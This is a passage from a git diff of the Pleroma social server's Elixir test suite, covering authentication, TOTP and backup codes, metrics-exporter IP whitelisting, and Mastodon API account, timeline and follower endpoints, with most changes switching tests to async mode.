	alias Pleroma.Web.Auth.Authenticator
	import Pleroma.Factory

	describe "fetch_user/1" do
	test "returns user by name" do
	user = insert(:user)
	assert Authenticator.fetch_user(user.nickname) == user
	end

	test "returns user by email" do
	user = insert(:user)
	assert Authenticator.fetch_user(user.email) == user
	end

	test "returns nil" do
	assert Authenticator.fetch_user("email") == nil
	end
	end

	describe "fetch_credentials/1" do
	test "returns name and password from authorization params" do
	params = %{"authorization" => %{"name" => "test", "password" => "test-pass"}}
	assert Authenticator.fetch_credentials(params) == {:ok, {"test", "test-pass"}}
	end

	test "returns name and password with grant_type 'password'" do
	params = %{"grant_type" => "password", "username" => "test", "password" => "test-pass"}
	assert Authenticator.fetch_credentials(params) == {:ok, {"test", "test-pass"}}
	end

	test "returns error" do
	assert Authenticator.fetch_credentials(%{}) == {:error, :invalid_credentials}
	end
	end
	end
	diff --git a/test/pleroma/web/auth/basic_auth_test.exs b/test/pleroma/web/auth/basic_auth_test.exs
	index bf6e3d2fc..e56c1e1e8 100644
	--- a/test/pleroma/web/auth/basic_auth_test.exs
	+++ b/test/pleroma/web/auth/basic_auth_test.exs
	@@ -1,46 +1,46 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Auth.BasicAuthTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	import Pleroma.Factory

	test "with HTTP Basic Auth used, grants access to OAuth scope-restricted endpoints", %{
	conn: conn
	} do
	user = insert(:user)
	assert Pbkdf2.verify_pass("test", user.password_hash)

	basic_auth_contents =
	(URI.encode_www_form(user.nickname) <> ":" <> URI.encode_www_form("test"))
	\|> Base.encode64()

	# Succeeds with HTTP Basic Auth
	response =
	conn
	\|> put_req_header("authorization", "Basic " <> basic_auth_contents)
	\|> get("/api/v1/accounts/verify_credentials")
	\|> json_response(200)

	user_nickname = user.nickname
	assert %{"username" => ^user_nickname} = response

	# Succeeds with a properly scoped OAuth token
	valid_token = insert(:oauth_token, scopes: ["read:accounts"])

	conn
	\|> put_req_header("authorization", "Bearer #{valid_token.token}")
	\|> get("/api/v1/accounts/verify_credentials")
	\|> json_response(200)

	# Fails with a wrong-scoped OAuth token (proof of restriction)
	invalid_token = insert(:oauth_token, scopes: ["read:something"])

	conn
	\|> put_req_header("authorization", "Bearer #{invalid_token.token}")
	\|> get("/api/v1/accounts/verify_credentials")
	\|> json_response(403)
	end
	end
	diff --git a/test/pleroma/web/auth/pleroma_authenticator_test.exs b/test/pleroma/web/auth/pleroma_authenticator_test.exs
	index 1ba0dfecc..4539ffe87 100644
	--- a/test/pleroma/web/auth/pleroma_authenticator_test.exs
	+++ b/test/pleroma/web/auth/pleroma_authenticator_test.exs
	@@ -1,48 +1,48 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Auth.PleromaAuthenticatorTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Web.Auth.PleromaAuthenticator
	import Pleroma.Factory

	setup do
	password = "testpassword"
	name = "AgentSmith"
	user = insert(:user, nickname: name, password_hash: Pbkdf2.hash_pwd_salt(password))
	{:ok, [user: user, name: name, password: password]}
	end

	test "get_user/authorization", %{name: name, password: password} do
	name = name <> "1"
	user = insert(:user, nickname: name, password_hash: Bcrypt.hash_pwd_salt(password))

	params = %{"authorization" => %{"name" => name, "password" => password}}
	res = PleromaAuthenticator.get_user(%Plug.Conn{params: params})

	assert {:ok, returned_user} = res
	assert returned_user.id == user.id
	assert "$pbkdf2" <> _ = returned_user.password_hash
	end

	test "get_user/authorization with invalid password", %{name: name} do
	params = %{"authorization" => %{"name" => name, "password" => "password"}}
	res = PleromaAuthenticator.get_user(%Plug.Conn{params: params})

	assert {:error, {:checkpw, false}} == res
	end

	test "get_user/grant_type_password", %{user: user, name: name, password: password} do
	params = %{"grant_type" => "password", "username" => name, "password" => password}
	res = PleromaAuthenticator.get_user(%Plug.Conn{params: params})

	assert {:ok, user} == res
	end

	test "error credintails" do
	res = PleromaAuthenticator.get_user(%Plug.Conn{params: %{}})
	assert {:error, :invalid_credentials} == res
	end
	end
	diff --git a/test/pleroma/web/auth/totp_authenticator_test.exs b/test/pleroma/web/auth/totp_authenticator_test.exs
	index 84d4cd840..7f99d62bf 100644
	--- a/test/pleroma/web/auth/totp_authenticator_test.exs
	+++ b/test/pleroma/web/auth/totp_authenticator_test.exs
	@@ -1,51 +1,51 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Auth.TOTPAuthenticatorTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.MFA
	alias Pleroma.MFA.BackupCodes
	alias Pleroma.MFA.TOTP
	alias Pleroma.Web.Auth.TOTPAuthenticator

	import Pleroma.Factory

	test "verify token" do
	otp_secret = TOTP.generate_secret()
	otp_token = TOTP.generate_token(otp_secret)

	user =
	insert(:user,
	multi_factor_authentication_settings: %MFA.Settings{
	enabled: true,
	totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true}
	}
	)

	assert TOTPAuthenticator.verify(otp_token, user) == {:ok, :pass}
	assert TOTPAuthenticator.verify(nil, user) == {:error, :invalid_token}
	assert TOTPAuthenticator.verify("", user) == {:error, :invalid_token}
	end

	test "checks backup codes" do
	[code \| _] = backup_codes = BackupCodes.generate()

	hashed_codes =
	backup_codes
	\|> Enum.map(&Pbkdf2.hash_pwd_salt(&1))

	user =
	insert(:user,
	multi_factor_authentication_settings: %MFA.Settings{
	enabled: true,
	backup_codes: hashed_codes,
	totp: %MFA.Settings.TOTP{secret: "otp_secret", confirmed: true}
	}
	)

	assert TOTPAuthenticator.verify_recovery_code(user, code) == {:ok, :pass}
	refute TOTPAuthenticator.verify_recovery_code(code, refresh_record(user)) == {:ok, :pass}
	end
	end
	diff --git a/test/pleroma/web/endpoint/metrics_exporter_test.exs b/test/pleroma/web/endpoint/metrics_exporter_test.exs
	index 875addc96..d0cae3d42 100644
	--- a/test/pleroma/web/endpoint/metrics_exporter_test.exs
	+++ b/test/pleroma/web/endpoint/metrics_exporter_test.exs
	@@ -1,68 +1,69 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Endpoint.MetricsExporterTest do
	+ # Modifies AppEnv, has to stay synchronous
	use Pleroma.Web.ConnCase

	alias Pleroma.Web.Endpoint.MetricsExporter

	defp config do
	Application.get_env(:prometheus, MetricsExporter)
	end

	describe "with default config" do
	test "does NOT expose app metrics", %{conn: conn} do
	conn
	\|> get(config()[:path])
	\|> json_response(404)
	end
	end

	describe "when enabled" do
	setup do
	initial_config = config()
	on_exit(fn -> Application.put_env(:prometheus, MetricsExporter, initial_config) end)

	Application.put_env(
	:prometheus,
	MetricsExporter,
	Keyword.put(initial_config, :enabled, true)
	)
	end

	test "serves app metrics", %{conn: conn} do
	conn = get(conn, config()[:path])
	assert response = response(conn, 200)

	for metric <- [
	"http_requests_total",
	"http_request_duration_microseconds",
	"phoenix_controller_call_duration",
	"telemetry_scrape_duration",
	"erlang_vm_memory_atom_bytes_total"
	] do
	assert response =~ ~r/#{metric}/
	end
	end

	test "when IP whitelist configured, " <>
	"serves app metrics only if client IP is whitelisted",
	%{conn: conn} do
	Application.put_env(
	:prometheus,
	MetricsExporter,
	Keyword.put(config(), :ip_whitelist, ["127.127.127.127", {1, 1, 1, 1}, '255.255.255.255'])
	)

	conn
	\|> get(config()[:path])
	\|> json_response(404)

	conn
	\|> Map.put(:remote_ip, {127, 127, 127, 127})
	\|> get(config()[:path])
	\|> response(200)
	end
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs
	index 3361c8669..f6285853a 100644
	--- a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs
	@@ -1,1644 +1,1642 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do
	use Pleroma.Web.ConnCase

	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.InternalFetchActor
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.OAuth.Token

	import Pleroma.Factory

	describe "account fetching" do
	test "works by id" do
	%User{id: user_id} = insert(:user)

	assert %{"id" => ^user_id} =
	build_conn()
	\|> get("/api/v1/accounts/#{user_id}")
	\|> json_response_and_validate_schema(200)

	assert %{"error" => "Can't find user"} =
	build_conn()
	\|> get("/api/v1/accounts/-1")
	\|> json_response_and_validate_schema(404)
	end

	test "works by nickname" do
	user = insert(:user)

	assert %{"id" => _user_id} =
	build_conn()
	\|> get("/api/v1/accounts/#{user.nickname}")
	\|> json_response_and_validate_schema(200)
	end

	test "works by nickname for remote users" do
	clear_config([:instance, :limit_to_local_content], false)

	user = insert(:user, nickname: "user@example.com", local: false)

	assert %{"id" => _user_id} =
	build_conn()
	\|> get("/api/v1/accounts/#{user.nickname}")
	\|> json_response_and_validate_schema(200)
	end

	test "respects limit_to_local_content == :all for remote user nicknames" do
	clear_config([:instance, :limit_to_local_content], :all)

	user = insert(:user, nickname: "user@example.com", local: false)

	assert build_conn()
	\|> get("/api/v1/accounts/#{user.nickname}")
	\|> json_response_and_validate_schema(404)
	end

	test "respects limit_to_local_content == :unauthenticated for remote user nicknames" do
	clear_config([:instance, :limit_to_local_content], :unauthenticated)

	user = insert(:user, nickname: "user@example.com", local: false)
	reading_user = insert(:user)

	conn =
	build_conn()
	\|> get("/api/v1/accounts/#{user.nickname}")

	assert json_response_and_validate_schema(conn, 404)

	conn =
	build_conn()
	\|> assign(:user, reading_user)
	\|> assign(:token, insert(:oauth_token, user: reading_user, scopes: ["read:accounts"]))
	\|> get("/api/v1/accounts/#{user.nickname}")

	assert %{"id" => id} = json_response_and_validate_schema(conn, 200)
	assert id == user.id
	end

	test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do
	# Need to set an old-style integer ID to reproduce the problem
	# (these are no longer assigned to new accounts but were preserved
	# for existing accounts during the migration to flakeIDs)
	user_one = insert(:user, %{id: 1212})
	user_two = insert(:user, %{nickname: "#{user_one.id}garbage"})

	acc_one =
	conn
	\|> get("/api/v1/accounts/#{user_one.id}")
	\|> json_response_and_validate_schema(:ok)

	acc_two =
	conn
	\|> get("/api/v1/accounts/#{user_two.nickname}")
	\|> json_response_and_validate_schema(:ok)

	acc_three =
	conn
	\|> get("/api/v1/accounts/#{user_two.id}")
	\|> json_response_and_validate_schema(:ok)

	refute acc_one == acc_two
	assert acc_two == acc_three
	end

	test "returns 404 when user is invisible", %{conn: conn} do
	user = insert(:user, %{invisible: true})

	assert %{"error" => "Can't find user"} =
	conn
	\|> get("/api/v1/accounts/#{user.nickname}")
	\|> json_response_and_validate_schema(404)
	end

	test "returns 404 for internal.fetch actor", %{conn: conn} do
	%User{nickname: "internal.fetch"} = InternalFetchActor.get_actor()

	assert %{"error" => "Can't find user"} =
	conn
	\|> get("/api/v1/accounts/internal.fetch")
	\|> json_response_and_validate_schema(404)
	end

	test "returns 404 for deactivated user", %{conn: conn} do
	user = insert(:user, deactivated: true)

	assert %{"error" => "Can't find user"} =
	conn
	\|> get("/api/v1/accounts/#{user.id}")
	\|> json_response_and_validate_schema(:not_found)
	end
	end

	defp local_and_remote_users do
	local = insert(:user)
	remote = insert(:user, local: false)
	{:ok, local: local, remote: remote}
	end

	describe "user fetching with restrict unauthenticated profiles for local and remote" do
	setup do: local_and_remote_users()

	setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true)

	setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	assert %{"error" => "This API requires an authenticated user"} ==
	conn
	\|> get("/api/v1/accounts/#{local.id}")
	\|> json_response_and_validate_schema(:unauthorized)

	assert %{"error" => "This API requires an authenticated user"} ==
	conn
	\|> get("/api/v1/accounts/#{remote.id}")
	\|> json_response_and_validate_schema(:unauthorized)
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])

	res_conn = get(conn, "/api/v1/accounts/#{local.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)

	res_conn = get(conn, "/api/v1/accounts/#{remote.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)
	end
	end

	describe "user fetching with restrict unauthenticated profiles for local" do
	setup do: local_and_remote_users()

	setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	res_conn = get(conn, "/api/v1/accounts/#{local.id}")

	assert json_response_and_validate_schema(res_conn, :unauthorized) == %{
	"error" => "This API requires an authenticated user"
	}

	res_conn = get(conn, "/api/v1/accounts/#{remote.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])

	res_conn = get(conn, "/api/v1/accounts/#{local.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)

	res_conn = get(conn, "/api/v1/accounts/#{remote.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)
	end
	end

	describe "user fetching with restrict unauthenticated profiles for remote" do
	setup do: local_and_remote_users()

	setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	res_conn = get(conn, "/api/v1/accounts/#{local.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)

	res_conn = get(conn, "/api/v1/accounts/#{remote.id}")

	assert json_response_and_validate_schema(res_conn, :unauthorized) == %{
	"error" => "This API requires an authenticated user"
	}
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])

	res_conn = get(conn, "/api/v1/accounts/#{local.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)

	res_conn = get(conn, "/api/v1/accounts/#{remote.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)
	end
	end

	describe "user timelines" do
	setup do: oauth_access(["read:statuses"])

	test "works with announces that are just addressed to public", %{conn: conn} do
	user = insert(:user, ap_id: "https://honktest/u/test", local: false)
	other_user = insert(:user)

	{:ok, post} = CommonAPI.post(other_user, %{status: "bonkeronk"})

	{:ok, announce, _} =
	%{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"actor" => "https://honktest/u/test",
	"id" => "https://honktest/u/test/bonk/1793M7B9MQ48847vdx",
	"object" => post.data["object"],
	"published" => "2019-06-25T19:33:58Z",
	"to" => ["https://www.w3.org/ns/activitystreams#Public"],
	"type" => "Announce"
	}
	\|> ActivityPub.persist(local: false)

	assert resp =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => id}] = resp
	assert id == announce.id
	end

	test "deactivated user", %{conn: conn} do
	user = insert(:user, deactivated: true)

	assert %{"error" => "Can't find user"} ==
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses")
	\|> json_response_and_validate_schema(:not_found)
	end

	test "returns 404 when user is invisible", %{conn: conn} do
	user = insert(:user, %{invisible: true})

	assert %{"error" => "Can't find user"} =
	conn
	\|> get("/api/v1/accounts/#{user.id}")
	\|> json_response_and_validate_schema(404)
	end

	test "respects blocks", %{user: user_one, conn: conn} do
	user_two = insert(:user)
	user_three = insert(:user)

	User.block(user_one, user_two)

	{:ok, activity} = CommonAPI.post(user_two, %{status: "User one sux0rz"})
	{:ok, repeat} = CommonAPI.repeat(activity.id, user_three)

	assert resp =
	conn
	\|> get("/api/v1/accounts/#{user_two.id}/statuses")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => id}] = resp
	assert id == activity.id

	# Even a blocked user will deliver the full user timeline, there would be
	# no point in looking at a blocked users timeline otherwise
	assert resp =
	conn
	\|> get("/api/v1/accounts/#{user_two.id}/statuses")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => id}] = resp
	assert id == activity.id

	# Third user's timeline includes the repeat when viewed by unauthenticated user
	resp =
	build_conn()
	\|> get("/api/v1/accounts/#{user_three.id}/statuses")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => id}] = resp
	assert id == repeat.id

	# When viewing a third user's timeline, the blocked users' statuses will NOT be shown
	resp = get(conn, "/api/v1/accounts/#{user_three.id}/statuses")

	assert [] == json_response_and_validate_schema(resp, 200)
	end

	test "gets users statuses", %{conn: conn} do
	user_one = insert(:user)
	user_two = insert(:user)
	user_three = insert(:user)

	{:ok, _user_three, _user_one} = User.follow(user_three, user_one)

	{:ok, activity} = CommonAPI.post(user_one, %{status: "HI!!!"})

	{:ok, direct_activity} =
	CommonAPI.post(user_one, %{
	status: "Hi, @#{user_two.nickname}.",
	visibility: "direct"
	})

	{:ok, private_activity} =
	CommonAPI.post(user_one, %{status: "private", visibility: "private"})

	# TODO!!!
	resp =
	conn
	\|> get("/api/v1/accounts/#{user_one.id}/statuses")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => id}] = resp
	assert id == to_string(activity.id)

	resp =
	conn
	\|> assign(:user, user_two)
	\|> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"]))
	\|> get("/api/v1/accounts/#{user_one.id}/statuses")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => id_one}, %{"id" => id_two}] = resp
	assert id_one == to_string(direct_activity.id)
	assert id_two == to_string(activity.id)

	resp =
	conn
	\|> assign(:user, user_three)
	\|> assign(:token, insert(:oauth_token, user: user_three, scopes: ["read:statuses"]))
	\|> get("/api/v1/accounts/#{user_one.id}/statuses")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => id_one}, %{"id" => id_two}] = resp
	assert id_one == to_string(private_activity.id)
	assert id_two == to_string(activity.id)
	end

	test "unimplemented pinned statuses feature", %{conn: conn} do
	note = insert(:note_activity)
	user = User.get_cached_by_ap_id(note.data["actor"])

	conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?pinned=true")

	assert json_response_and_validate_schema(conn, 200) == []
	end

	test "gets an users media, excludes reblogs", %{conn: conn} do
	note = insert(:note_activity)
	user = User.get_cached_by_ap_id(note.data["actor"])
	other_user = insert(:user)

	file = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, %{id: media_id}} = ActivityPub.upload(file, actor: user.ap_id)

	{:ok, %{id: image_post_id}} = CommonAPI.post(user, %{status: "cofe", media_ids: [media_id]})

	{:ok, %{id: media_id}} = ActivityPub.upload(file, actor: other_user.ap_id)

	{:ok, %{id: other_image_post_id}} =
	CommonAPI.post(other_user, %{status: "cofe2", media_ids: [media_id]})

	{:ok, _announce} = CommonAPI.repeat(other_image_post_id, user)

	conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?only_media=true")

	assert [%{"id" => ^image_post_id}] = json_response_and_validate_schema(conn, 200)

	conn = get(build_conn(), "/api/v1/accounts/#{user.id}/statuses?only_media=1")

	assert [%{"id" => ^image_post_id}] = json_response_and_validate_schema(conn, 200)
	end

	test "gets a user's statuses without reblogs", %{user: user, conn: conn} do
	{:ok, %{id: post_id}} = CommonAPI.post(user, %{status: "HI!!!"})
	{:ok, _} = CommonAPI.repeat(post_id, user)

	conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_reblogs=true")
	assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200)

	conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_reblogs=1")
	assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200)
	end

	test "filters user's statuses by a hashtag", %{user: user, conn: conn} do
	{:ok, %{id: post_id}} = CommonAPI.post(user, %{status: "#hashtag"})
	{:ok, _post} = CommonAPI.post(user, %{status: "hashtag"})

	conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?tagged=hashtag")
	assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200)
	end

	test "the user views their own timelines and excludes direct messages", %{
	user: user,
	conn: conn
	} do
	{:ok, %{id: public_activity_id}} =
	CommonAPI.post(user, %{status: ".", visibility: "public"})

	{:ok, _direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"})

	conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_visibilities[]=direct")
	assert [%{"id" => ^public_activity_id}] = json_response_and_validate_schema(conn, 200)
	end

	test "muted reactions", %{user: user, conn: conn} do
	user2 = insert(:user)
	User.mute(user, user2)
	{:ok, activity} = CommonAPI.post(user, %{status: "."})
	{:ok, _} = CommonAPI.react_with_emoji(activity.id, user2, "🎅")

	result =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses")
	\|> json_response_and_validate_schema(200)

	assert [
	%{
	"pleroma" => %{
	"emoji_reactions" => []
	}
	}
	] = result

	result =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses?with_muted=true")
	\|> json_response_and_validate_schema(200)

	assert [
	%{
	"pleroma" => %{
	"emoji_reactions" => [%{"count" => 1, "me" => false, "name" => "🎅"}]
	}
	}
	] = result
	end
	end

	defp local_and_remote_activities(%{local: local, remote: remote}) do
	insert(:note_activity, user: local)
	insert(:note_activity, user: remote, local: false)

	:ok
	end

	describe "statuses with restrict unauthenticated profiles for local and remote" do
	setup do: local_and_remote_users()
	setup :local_and_remote_activities

	setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true)

	setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	assert %{"error" => "This API requires an authenticated user"} ==
	conn
	\|> get("/api/v1/accounts/#{local.id}/statuses")
	\|> json_response_and_validate_schema(:unauthorized)

	assert %{"error" => "This API requires an authenticated user"} ==
	conn
	\|> get("/api/v1/accounts/#{remote.id}/statuses")
	\|> json_response_and_validate_schema(:unauthorized)
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])

	res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses")
	assert length(json_response_and_validate_schema(res_conn, 200)) == 1

	res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses")
	assert length(json_response_and_validate_schema(res_conn, 200)) == 1
	end
	end

	describe "statuses with restrict unauthenticated profiles for local" do
	setup do: local_and_remote_users()
	setup :local_and_remote_activities

	setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	assert %{"error" => "This API requires an authenticated user"} ==
	conn
	\|> get("/api/v1/accounts/#{local.id}/statuses")
	\|> json_response_and_validate_schema(:unauthorized)

	res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses")
	assert length(json_response_and_validate_schema(res_conn, 200)) == 1
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])

	res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses")
	assert length(json_response_and_validate_schema(res_conn, 200)) == 1

	res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses")
	assert length(json_response_and_validate_schema(res_conn, 200)) == 1
	end
	end

	describe "statuses with restrict unauthenticated profiles for remote" do
	setup do: local_and_remote_users()
	setup :local_and_remote_activities

	setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses")
	assert length(json_response_and_validate_schema(res_conn, 200)) == 1

	assert %{"error" => "This API requires an authenticated user"} ==
	conn
	\|> get("/api/v1/accounts/#{remote.id}/statuses")
	\|> json_response_and_validate_schema(:unauthorized)
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])

	res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses")
	assert length(json_response_and_validate_schema(res_conn, 200)) == 1

	res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses")
	assert length(json_response_and_validate_schema(res_conn, 200)) == 1
	end
	end

	describe "followers" do
	setup do: oauth_access(["read:accounts"])

	test "getting followers", %{user: user, conn: conn} do
	other_user = insert(:user)
	{:ok, %{id: user_id}, other_user} = User.follow(user, other_user)

	conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers")

	assert [%{"id" => ^user_id}] = json_response_and_validate_schema(conn, 200)
	end

	test "getting followers, hide_followers", %{user: user, conn: conn} do
	other_user = insert(:user, hide_followers: true)
	{:ok, _user, _other_user} = User.follow(user, other_user)

	conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers")

	assert [] == json_response_and_validate_schema(conn, 200)
	end

	test "getting followers, hide_followers, same user requesting" do
	user = insert(:user)
	other_user = insert(:user, hide_followers: true)
	{:ok, _user, _other_user} = User.follow(user, other_user)

	conn =
	build_conn()
	\|> assign(:user, other_user)
	\|> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"]))
	\|> get("/api/v1/accounts/#{other_user.id}/followers")

	refute [] == json_response_and_validate_schema(conn, 200)
	end

	test "getting followers, pagination", %{user: user, conn: conn} do
	{:ok, %User{id: follower1_id}, _user} = :user \|> insert() \|> User.follow(user)
	{:ok, %User{id: follower2_id}, _user} = :user \|> insert() \|> User.follow(user)
	{:ok, %User{id: follower3_id}, _user} = :user \|> insert() \|> User.follow(user)

	assert [%{"id" => ^follower3_id}, %{"id" => ^follower2_id}] =
	conn
	\|> get("/api/v1/accounts/#{user.id}/followers?since_id=#{follower1_id}")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^follower2_id}, %{"id" => ^follower1_id}] =
	conn
	\|> get("/api/v1/accounts/#{user.id}/followers?max_id=#{follower3_id}")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^follower2_id}, %{"id" => ^follower1_id}] =
	conn
	\|> get(
	"/api/v1/accounts/#{user.id}/followers?id=#{user.id}&limit=20&max_id=#{
	follower3_id
	}"
	)
	\|> json_response_and_validate_schema(200)

	res_conn = get(conn, "/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3_id}")

	assert [%{"id" => ^follower2_id}] = json_response_and_validate_schema(res_conn, 200)

	assert [link_header] = get_resp_header(res_conn, "link")
	assert link_header =~ ~r/min_id=#{follower2_id}/
	assert link_header =~ ~r/max_id=#{follower2_id}/
	end
	end

	describe "following" do
	setup do: oauth_access(["read:accounts"])

	test "getting following", %{user: user, conn: conn} do
	other_user = insert(:user)
	{:ok, user, other_user} = User.follow(user, other_user)

	conn = get(conn, "/api/v1/accounts/#{user.id}/following")

	assert [%{"id" => id}] = json_response_and_validate_schema(conn, 200)
	assert id == to_string(other_user.id)
	end

	test "getting following, hide_follows, other user requesting" do
	user = insert(:user, hide_follows: true)
	other_user = insert(:user)
	{:ok, user, other_user} = User.follow(user, other_user)

	conn =
	build_conn()
	\|> assign(:user, other_user)
	\|> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"]))
	\|> get("/api/v1/accounts/#{user.id}/following")

	assert [] == json_response_and_validate_schema(conn, 200)
	end

	test "getting following, hide_follows, same user requesting" do
	user = insert(:user, hide_follows: true)
	other_user = insert(:user)
	{:ok, user, _other_user} = User.follow(user, other_user)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> assign(:token, insert(:oauth_token, user: user, scopes: ["read:accounts"]))
	\|> get("/api/v1/accounts/#{user.id}/following")

	refute [] == json_response_and_validate_schema(conn, 200)
	end

	test "getting following, pagination", %{user: user, conn: conn} do
	following1 = insert(:user)
	following2 = insert(:user)
	following3 = insert(:user)
	{:ok, _, _} = User.follow(user, following1)
	{:ok, _, _} = User.follow(user, following2)
	{:ok, _, _} = User.follow(user, following3)

	res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}")

	assert [%{"id" => id3}, %{"id" => id2}] = json_response_and_validate_schema(res_conn, 200)
	assert id3 == following3.id
	assert id2 == following2.id

	res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}")

	assert [%{"id" => id2}, %{"id" => id1}] = json_response_and_validate_schema(res_conn, 200)
	assert id2 == following2.id
	assert id1 == following1.id

	res_conn =
	get(
	conn,
	"/api/v1/accounts/#{user.id}/following?id=#{user.id}&limit=20&max_id=#{following3.id}"
	)

	assert [%{"id" => id2}, %{"id" => id1}] = json_response_and_validate_schema(res_conn, 200)
	assert id2 == following2.id
	assert id1 == following1.id

	res_conn =
	get(conn, "/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}")

	assert [%{"id" => id2}] = json_response_and_validate_schema(res_conn, 200)
	assert id2 == following2.id

	assert [link_header] = get_resp_header(res_conn, "link")
	assert link_header =~ ~r/min_id=#{following2.id}/
	assert link_header =~ ~r/max_id=#{following2.id}/
	end
	end

	describe "follow/unfollow" do
	setup do: oauth_access(["follow"])

	test "following / unfollowing a user", %{conn: conn} do
	%{id: other_user_id, nickname: other_user_nickname} = insert(:user)

	assert %{"id" => _id, "following" => true} =
	conn
